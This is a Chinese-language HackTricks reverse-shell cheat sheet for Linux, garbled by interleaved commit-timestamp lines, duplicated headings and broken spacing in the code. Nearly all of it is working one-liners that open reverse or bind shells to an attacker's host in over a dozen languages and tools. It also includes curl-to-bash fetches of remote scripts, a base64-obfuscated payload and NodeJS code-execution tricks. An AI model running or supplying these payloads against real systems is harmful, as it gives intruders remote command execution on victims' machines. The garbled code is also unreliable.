2023-12-30 22:37:12 +00:00
# Shells - Linux
2022-04-28 16:01:33 +00:00
< details >
2024-02-06 03:43:18 +00:00
< summary > < strong > 从零开始学习AWS黑客技术, 成为专家< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE( HackTricks AWS Red Team Expert) < / strong > < / a > < strong > ! < / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-06 03:43:18 +00:00
其他支持HackTricks的方式:
2023-12-30 22:37:12 +00:00
2024-02-06 03:43:18 +00:00
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
2024-02-07 05:49:16 +00:00
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组** ](https://discord.gg/hRep4RUj7f ) 或 [**电报群组** ](https://t.me/peass ) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live** ](https://twitter.com/hacktricks_live )**。**
2024-02-06 03:43:18 +00:00
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
2022-04-28 16:01:33 +00:00
< / details >
2023-09-03 01:34:43 +00:00
< figure > < img src = "/.gitbook/assets/image (675).png" alt = "" > < figcaption > < / figcaption > < / figure >
2024-02-06 03:43:18 +00:00
找到最重要的漏洞, 以便更快地修复它们。Intruder跟踪您的攻击面, 运行主动威胁扫描, 发现整个技术堆栈中的问题, 从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
2023-09-03 01:34:43 +00:00
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks& utm_source=referral" %}
***
2024-02-07 05:49:16 +00:00
**如果您对任何这些shell有疑问, 可以使用** [**https://explainshell.com/** ](https://explainshell.com ) **进行检查。**
2020-10-17 17:35:35 +00:00
2024-02-06 03:43:18 +00:00
## 完整TTY
2020-08-19 11:54:25 +00:00
2024-02-06 03:43:18 +00:00
**一旦获得反向shell**[ **阅读此页面以获取完整TTY** ](full-ttys.md)**。**
2020-08-19 11:54:25 +00:00
2022-05-11 14:59:34 +00:00
## Bash | sh
2020-07-15 15:43:14 +00:00
```bash
2022-05-11 14:59:34 +00:00
curl https://reverse-shell.sh/1.1.1.1:3000 | bash
2020-07-15 15:43:14 +00:00
bash -i >& /dev/tcp/< ATTACKER-IP > /< PORT > 0>& 1
2023-03-30 19:24:10 +00:00
bash -i >& /dev/udp/127.0.0.1/4242 0>& 1 #UDP
2020-07-15 15:43:14 +00:00
0< &196; exec 196< >/dev/tcp/< ATTACKER-IP > /< PORT > ; sh < & 196 >& 196 2>& 196
exec 5< >/dev/tcp/< ATTACKER-IP > /< PORT > ; while read line 0< &5; do $line 2>& 5 >&5; done
2023-03-30 19:24:10 +00:00
#Short and bypass (credits to Dikline)
2021-03-30 00:10:09 +00:00
(sh)0>/dev/tcp/10.10.10.10/9091
2022-09-13 16:41:09 +00:00
#after getting the previous shell to get the output to execute
2021-03-30 00:10:09 +00:00
exec >& 0
2020-07-15 15:43:14 +00:00
```
2024-02-06 03:43:18 +00:00
### 符号安全的shell
2023-08-03 19:12:22 +00:00
2024-02-06 03:43:18 +00:00
不要忘记检查其他shell: sh、ash、bsh、csh、ksh、zsh、pdksh、tcsh和bash。
2020-07-15 15:43:14 +00:00
```bash
#If you need a more stable connection do:
2020-11-05 20:05:40 +00:00
bash -c 'bash -i >& /dev/tcp/< ATTACKER-IP > /< PORT > 0>& 1'
2020-07-15 15:43:14 +00:00
#Stealthier method
2020-11-05 20:05:40 +00:00
#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0
2020-07-15 15:43:14 +00:00
echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null
```
2023-08-03 19:12:22 +00:00
#### Shell解释
2020-07-15 15:43:14 +00:00
2024-02-06 03:43:18 +00:00
1. ** `bash -i` **: 此部分命令启动一个交互式 (`-i`) Bash shell。
2024-02-07 05:49:16 +00:00
2. ** `>&` **: 此部分命令是将**标准输出** (`stdout`) 和**标准错误** (`stderr`) **重定向到同一目的地**的简写表示。
3. ** `/dev/tcp/<ATTACKER-IP>/<PORT>` **: 这是一个特殊文件,**表示与指定IP地址和端口的TCP连接**。
2024-02-06 03:43:18 +00:00
* 通过**将输出和错误流重定向到此文件**, 该命令有效地将交互式shell会话的输出发送到攻击者的机器。
4. ** `0>&1` **: 此部分命令**将标准输入 (`stdin`) 重定向到与标准输出 (`stdout`) 相同的目的地**。
2020-11-15 22:04:11 +00:00
2024-02-06 03:43:18 +00:00
### 创建文件并执行
2020-11-15 22:04:11 +00:00
```bash
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1< ATTACKER-IP > /< PORT > 0>& 1' > /tmp/sh.sh; bash /tmp/sh.sh;
2020-11-15 22:28:16 +00:00
wget http://< IP attacker > /shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh
2020-11-15 22:04:11 +00:00
```
2024-02-07 05:49:16 +00:00
## 正向 Shell
2022-02-09 20:23:12 +00:00
2024-02-07 05:49:16 +00:00
如果在基于 Linux 的 Web 应用程序中遇到 **RCE 漏洞** ,由于存在 Iptables 规则或其他过滤器,可能会出现 **难以获取反向 shell** 的情况。在这种情况下,考虑使用管道在受损系统内创建一个 PTY shell。
您可以在 [**https://github.com/IppSec/forward-shell** ](https://github.com/IppSec/forward-shell ) 找到代码。
2022-02-09 20:23:12 +00:00
2023-12-30 22:37:12 +00:00
您只需要修改:
2022-02-09 20:23:12 +00:00
2024-02-07 05:49:16 +00:00
- 受漏洞主机的 URL
- 您的 payload 的前缀和后缀(如果有的话)
- 发送 payload 的方式(头部?数据?额外信息?)
2022-02-09 20:23:12 +00:00
2024-02-07 05:49:16 +00:00
然后,您可以 **发送命令** ,甚至使用 `upgrade` 命令** 来获取完整的 PTY( 请注意, 管道的读写存在大约 1.3 秒的延迟)。
2022-02-09 20:23:12 +00:00
2022-05-11 14:59:34 +00:00
## Netcat
2020-07-15 15:43:14 +00:00
```bash
nc -e /bin/sh < ATTACKER-IP > < PORT >
nc < ATTACKER-IP > < PORT > | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>& 1|nc < ATTACKER-IP > < PORT > >/tmp/f
nc < ATTACKER-IP > < PORT1 > | /bin/bash | nc < ATTACKER-IP > < PORT2 >
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0< /tmp/bkpipe | nc < ATTACKER-IP > < PORT > 1>/tmp/bkpipe
```
2023-05-15 10:19:32 +00:00
## gsocket
2024-02-07 05:49:16 +00:00
在[https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/)中查看
2023-05-15 10:19:32 +00:00
```bash
bash -c "$(curl -fsSL gsocket.io/x)"
```
2022-05-11 14:59:34 +00:00
## Telnet
2024-02-06 03:43:18 +00:00
2024-02-07 05:49:16 +00:00
Telnet( Telecommunication Network) 是一种用于远程登录的协议。 Telnet客户端通过TCP连接到Telnet服务器, 并允许用户在服务器上执行命令。 Telnet是一种不安全的协议, 因为它在未加密的文本中传输数据, 因此不建议在不受信任的网络上使用。
2020-07-15 15:43:14 +00:00
```bash
telnet < ATTACKER-IP > < PORT > | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>& 1|telnet < ATTACKER-IP > < PORT > >/tmp/f
telnet < ATTACKER-IP > < PORT > | /bin/bash | telnet < ATTACKER-IP > < PORT >
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0< /tmp/bkpipe | telnet < ATTACKER-IP > < PORT > 1>/tmp/bkpipe
```
2022-05-11 14:59:34 +00:00
## Whois
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
**攻击者**
2020-07-15 15:43:14 +00:00
```bash
while true; do nc -l < port > ; done
```
2024-02-07 05:49:16 +00:00
将命令写下来, 按回车, 然后按CTRL+D( 停止STDIN)
2024-02-06 03:43:18 +00:00
2024-02-07 05:49:16 +00:00
**受害者**
2020-07-15 15:43:14 +00:00
```bash
export X=Connected; while true; do X=`eval $(whois -h < IP > -p < Port > "Output: $X")`; sleep 1; done
```
2024-02-06 03:43:18 +00:00
## Python
2022-05-11 14:59:34 +00:00
## Python
2020-07-15 15:43:14 +00:00
```bash
#Linux
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
#IPv6
2023-08-03 19:12:22 +00:00
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
2020-07-15 15:43:14 +00:00
```
2022-05-11 14:59:34 +00:00
## Perl
2024-02-06 03:43:18 +00:00
2024-02-07 05:49:16 +00:00
## Perl
2020-07-15 15:43:14 +00:00
```bash
perl -e 'use Socket;$i="< ATTACKER-IP > ";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while< >;'
```
2022-05-11 14:59:34 +00:00
## Ruby
2024-02-06 03:43:18 +00:00
2024-02-07 05:49:16 +00:00
## Ruby
2020-07-15 15:43:14 +00:00
```bash
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i < & %d >& %d 2>& %d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
```
2022-05-11 14:59:34 +00:00
## PHP
2024-02-06 03:43:18 +00:00
2024-02-07 05:49:16 +00:00
PHP是一种流行的服务器端脚本语言, 通常用于Web开发。
2023-09-03 01:34:43 +00:00
```php
// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
// Using this method may lead to instances where the connection reaches out to the listener and then closes.
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i < & 3 >& 3 2>&3"); '
2023-08-03 19:12:22 +00:00
2023-09-03 01:34:43 +00:00
// Using 'proc_open' makes no assumptions about what the file descriptor will be.
// See https://security.stackexchange.com/a/198944 for more information
<?php $sock=fsockopen("10.0.0.1",1234);$proc=proc_open("/bin/sh -i",array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>
2023-08-03 19:12:22 +00:00
2023-09-03 01:34:43 +00:00
<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?>
2023-08-03 19:12:22 +00:00
```
2023-09-03 01:34:43 +00:00
## Java
2024-02-06 03:43:18 +00:00
2024-02-07 05:49:16 +00:00
Java是一种通用编程语言, 广泛用于开发各种类型的应用程序。 Java程序可以在不同的操作系统上运行, 只需安装Java虚拟机( JVM) 。 Java具有强大的面向对象编程功能, 使开发人员能够编写可重用的代码和模块化的程序。 Java还具有丰富的标准库, 提供了许多预先编写好的类和方法, 可用于各种常见任务。
2023-09-03 01:34:43 +00:00
```bash
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5< >/dev/tcp/ATTACKING-IP/80;cat <& 5 | while read line; do \$line 2>& 5 >&5; done"] as String[])
p.waitFor()
2023-08-03 19:12:22 +00:00
```
2023-09-03 01:34:43 +00:00
## Ncat
2024-02-06 03:43:18 +00:00
2024-02-07 05:49:16 +00:00
Ncat是一个功能强大的网络工具, 可以用于连接、读取和写入数据, 以及进行端口扫描和监听。
2023-08-03 19:12:22 +00:00
```bash
2023-09-03 01:34:43 +00:00
victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl
attacker> ncat -v 10.0.0.22 4444 --ssl
2023-08-03 19:12:22 +00:00
```
2023-09-03 01:34:43 +00:00
< figure > < img src = "/.gitbook/assets/image (675).png" alt = "" > < figcaption > < / figcaption > < / figure >
2023-08-03 19:12:22 +00:00
2024-02-07 05:49:16 +00:00
找到最重要的漏洞, 这样你就可以更快地修复它们。Intruder跟踪您的攻击面, 运行积极的威胁扫描, 发现整个技术堆栈中的问题, 从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm_source=referral\&utm_campaign=hacktricks)。
2023-08-03 19:12:22 +00:00
2023-09-03 01:34:43 +00:00
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks& utm_source=referral" %}
2023-08-03 19:12:22 +00:00
2023-09-03 01:34:43 +00:00
***
2023-08-03 19:12:22 +00:00
2023-09-03 01:34:43 +00:00
## Golang
```bash
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go & & go run /tmp/t.go & & rm /tmp/t.go
```
## Lua
2024-02-06 03:43:18 +00:00
2024-02-07 05:49:16 +00:00
Lua是一种轻量级、高效的脚本语言, 常用于嵌入式系统和游戏开发中。 Lua脚本可以通过解释器执行, 也可以编译成字节码运行。 Lua具有简洁的语法和强大的扩展能力, 被广泛应用于各种领域。
2020-07-15 15:43:14 +00:00
```bash
#Linux
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i < & 3 >& 3 2>&3'); "
#Windows & Linux
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
```
2022-05-11 14:59:34 +00:00
## NodeJS
2024-02-06 03:43:18 +00:00
NodeJS是一个基于Chrome V8引擎的JavaScript运行环境。
2020-07-15 15:43:14 +00:00
```javascript
(function(){
2023-08-03 19:12:22 +00:00
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8080, "10.17.26.64", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
2020-07-15 15:43:14 +00:00
})();
or
require('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]')
2021-11-08 23:40:13 +00:00
require('child_process').exec("bash -c 'bash -i >& /dev/tcp/10.10.14.2/6767 0>& 1'")
2020-07-15 15:43:14 +00:00
or
-var x = global.process.mainModule.require
-x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash')
or
2022-05-29 23:24:32 +00:00
// If you get to the constructor of a function you can define and execute another function inside a string
"".sub.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
"".__proto__.constructor.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
or
// Abuse this syntax to get a reverse shell
var fs = this.process.binding('fs');
var fs = process.binding('fs');
or
2020-07-15 15:43:14 +00:00
https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
```
2022-10-17 15:02:34 +00:00
## OpenSSL
2020-07-15 15:43:14 +00:00
2024-02-06 03:43:18 +00:00
攻击者( Kali)
2020-07-15 15:43:14 +00:00
```bash
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
openssl s_server -quiet -key key.pem -cert cert.pem -port < l_port > #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port < l_port2 > #Here yo will be able to get the response
```
2023-08-03 19:12:22 +00:00
受害者
2020-07-15 15:43:14 +00:00
```bash
#Linux
openssl s_client -quiet -connect < ATTACKER_IP > :< PORT1 > |/bin/bash|openssl s_client -quiet -connect < ATTACKER_IP > :< PORT2 >
#Windows
openssl.exe s_client -quiet -connect < ATTACKER_IP > :< PORT1 > |cmd.exe|openssl s_client -quiet -connect < ATTACKER_IP > :< PORT2 >
```
2022-05-11 14:59:34 +00:00
## **Socat**
2020-07-15 15:43:14 +00:00
[https://github.com/andrew-d/static-binaries ](https://github.com/andrew-d/static-binaries )
2024-02-07 05:49:16 +00:00
### 绑定 shell
2020-07-15 15:43:14 +00:00
```bash
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
2023-08-03 19:12:22 +00:00
attacker> socat FILE:`tty`,raw,echo=0 TCP:< victim_ip > :1337
2020-07-15 15:43:14 +00:00
```
2023-08-03 19:12:22 +00:00
### 反向 shell
2020-07-15 15:43:14 +00:00
```bash
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:< attackers_ip > :1337 EXEC:bash,pty,stderr,setsid,sigint,sane
```
2022-05-11 14:59:34 +00:00
## Awk
2024-02-06 03:43:18 +00:00
2024-02-07 05:49:16 +00:00
## Awk
2020-07-15 15:43:14 +00:00
```bash
2023-08-03 19:12:22 +00:00
awk 'BEGIN {s = "/inet/tcp/0/< IP > /< PORT > "; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
2020-07-15 15:43:14 +00:00
```
2023-12-30 22:37:12 +00:00
## Finger
2023-09-03 01:34:43 +00:00
2023-12-30 22:37:12 +00:00
**攻击者**
2023-08-03 19:12:22 +00:00
```bash
while true; do nc -l 79; done
```
2024-02-06 03:43:18 +00:00
将命令写下来, 按回车, 然后按CTRL+D( 停止STDIN)
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
**受害者**
2020-07-15 15:43:14 +00:00
```bash
export X=Connected; while true; do X=`eval $(finger "$X"@< IP > 2> /dev/null')`; sleep 1; done
export X=Connected; while true; do X=`eval $(finger "$X"@< IP > 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done
```
2024-02-06 03:43:18 +00:00
## Gawk
2024-02-07 05:49:16 +00:00
### Gawk
Gawk是一个功能强大的文本处理工具, 也是一个强大的编程语言。它在Linux系统中非常常见, 可以用于处理文本数据、生成报告等。
2020-07-15 15:43:14 +00:00
```bash
#!/usr/bin/gawk -f
BEGIN {
2023-08-03 19:12:22 +00:00
Port = 8080
Prompt = "bkd> "
Service = "/inet/tcp/" Port "/0/0"
while (1) {
do {
printf Prompt |& Service
Service |& getline cmd
if (cmd) {
while ((cmd |& getline) > 0)
print $0 |& Service
close(cmd)
}
} while (cmd != "exit")
close(Service)
}
2020-07-15 15:43:14 +00:00
}
```
2022-05-11 14:59:34 +00:00
## Xterm
2020-07-15 15:43:14 +00:00
2024-02-07 05:49:16 +00:00
这将尝试连接到您系统的6001端口:
2020-07-15 15:43:14 +00:00
```bash
xterm -display 10.0.0.1:1
```
2024-02-07 05:49:16 +00:00
要捕获反向 shell, 您可以使用( 将在端口 6001 上监听):
2020-07-15 15:43:14 +00:00
```bash
2024-02-07 05:49:16 +00:00
# Authorize host
2020-07-15 15:43:14 +00:00
xhost +targetip
2024-02-07 05:49:16 +00:00
# Listen
Xnest :1
2020-07-15 15:43:14 +00:00
```
2022-05-11 14:59:34 +00:00
## Groovy
2020-07-15 15:43:14 +00:00
2024-02-06 03:43:18 +00:00
由[frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) 注意: Java反向shell也适用于Groovy
2020-07-15 15:43:14 +00:00
```bash
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```
2024-02-07 05:49:16 +00:00
## 参考资料
* [https://highon.coffee/blog/reverse-shell-cheat-sheet/ ](https://highon.coffee/blog/reverse-shell-cheat-sheet/ )
* [http://pentestmonkey.net/cheat-sheet/shells/reverse-shell ](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell )
* [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/ ](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/ )
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md ](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md )
2020-07-15 15:43:14 +00:00
2023-09-03 01:34:43 +00:00
< figure > < img src = "/.gitbook/assets/image (675).png" alt = "" > < figcaption > < / figcaption > < / figure >
2024-02-07 05:49:16 +00:00
找到最重要的漏洞, 这样您就可以更快地修复它们。Intruder跟踪您的攻击面, 运行主动威胁扫描, 发现整个技术堆栈中的问题, 从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 今天。
2023-09-03 01:34:43 +00:00
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks& utm_source=referral" %}
2022-04-28 16:01:33 +00:00
< details >
2024-02-06 03:43:18 +00:00
< summary > < strong > 从零开始学习AWS黑客技术, 成为专家< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2023-12-30 22:37:12 +00:00
2024-02-06 03:43:18 +00:00
支持HackTricks的其他方式:
2022-04-28 16:01:33 +00:00
2024-02-07 05:49:16 +00:00
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
2024-02-06 03:43:18 +00:00
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
2024-02-07 05:49:16 +00:00
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群** ](https://discord.gg/hRep4RUj7f ) 或 [**电报群** ](https://t.me/peass ) 或在**Twitter** 🐦 [**@hacktricks_live** ](https://twitter.com/hacktricks_live )**上关注**我们。
2024-02-06 03:43:18 +00:00
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
2022-04-28 16:01:33 +00:00
< / details >